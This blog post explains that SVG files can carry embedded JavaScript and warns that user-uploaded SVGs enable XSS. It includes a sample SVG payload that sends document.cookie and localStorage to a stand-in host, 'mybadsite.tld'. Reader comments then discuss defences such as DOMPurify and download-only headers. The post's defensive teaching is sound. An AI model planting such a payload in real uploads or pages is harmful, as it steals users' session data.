JavaScript in SVGs

By  on  

SVGs are such an amazing tool for creating custom fonts, animations, size-reduced graphics, and more. They're part HTML, part image, and all awesome. Many websites have moved toward SVG instead of JPG, GIF, and PNG due to the flexibility that SVG provides.

Whats one example of that flexibility? Did you know that you can embed JavaScript directly in your SVG files:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
    alert("Hello world");
</script>
</svg>

That's a cool feature but also a security issue if embedded on a page as-is. For example, if a user uploads an SVG to your website with the following code:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
    //  BAD! Send the user's info to your website!
    const info = JSON.stringify(document.cookie) + JSON.stringify(localStorage);
    document.location = "https://mybadsite.tld/stolenInfo=" + info;
</script>
</svg>

...they could steal cookies, storage, and other information via XSS. That's a problem. One way to prevent this is stripping the JavaScript out of the SVG, but you could also embed as an <img> or as a background-image via CSS:

<img src="/path/to/image.svg" />

When you use <img> or background-image, JavaScript is prevented from executing, making the SVG relatively safe! You should, however, still be cleansing your SVGs of bad stuff and serving them from a different hostname so as to not share cookies!

Recent Features

  • By
    5 More HTML5 APIs You Didn&#8217;t Know Existed

    The HTML5 revolution has provided us some awesome JavaScript and HTML APIs.  Some are APIs we knew we've needed for years, others are cutting edge mobile and desktop helpers.  Regardless of API strength or purpose, anything to help us better do our job is a...

  • By
    Create Namespaced Classes with MooTools

    MooTools has always gotten a bit of grief for not inherently using and standardizing namespaced-based JavaScript classes like the Dojo Toolkit does.  Many developers create their classes as globals which is generally frowned up.  I mostly disagree with that stance, but each to their own.  In any event...

Incredible Demos

  • By
    CSS :target

    One interesting CSS pseudo selector is :target.  The target pseudo selector provides styling capabilities for an element whose ID matches the window location's hash.  Let's have a quick look at how the CSS target pseudo selector works! The HTML Assume there are any number of HTML elements with...

  • By
    Use Custom Missing Image Graphics Using MooTools

    Missing images on your website can make you or your business look completely amateur. Unfortunately sometimes an image gets deleted or corrupted without your knowledge. You'd agree with me that IE's default "red x" icon looks awful, so why not use your own missing image graphic? The MooTools JavaScript Note that...

Discussion

  1. Kornel

    It’s not safe enough to embed in <img, because an SVG existing at a domain is still a persistent XSS. An attacker can always direct victims to the bare SVG URL.

    You’d at least have to serve SVGs from another throw-away domain. Not just a subdomain, because cookies easily leak across subdomains.

  2. That just seems like a bad idea to allow Javascript embedding in SVGs. I would think the security issues would outweigh any potential uses.

  3. We had this same problem! Even when we did tags, going directly to the image would still cause issues. My initial attempt was to use svgo to strip out scripts, but hackers were still finding ways to sneak around it. Ultimately, the best solution was also to add a content type, so it could never be run on the domain directly (but could still be included via ):

    Content-Disposition: attachment; filename=image.svg
    Content-Type: application/octet-stream
  4. One way to prevent this is stripping the JavaScript out of the SVG

    Be careful, because that’s way more complicated than it may seem.

    If you’re processing them in a JS context, you can use DOMPurify, but anything other than that (regex, strip_tags(), etc) is very likely to have a ton of bypasses. That’s why WordPress still doesn’t allow SVGs to be uploaded.

Wrap your code in <pre class="{language}"></pre> tags, link to a GitHub gist, JSFiddle fiddle, or CodePen pen to embed!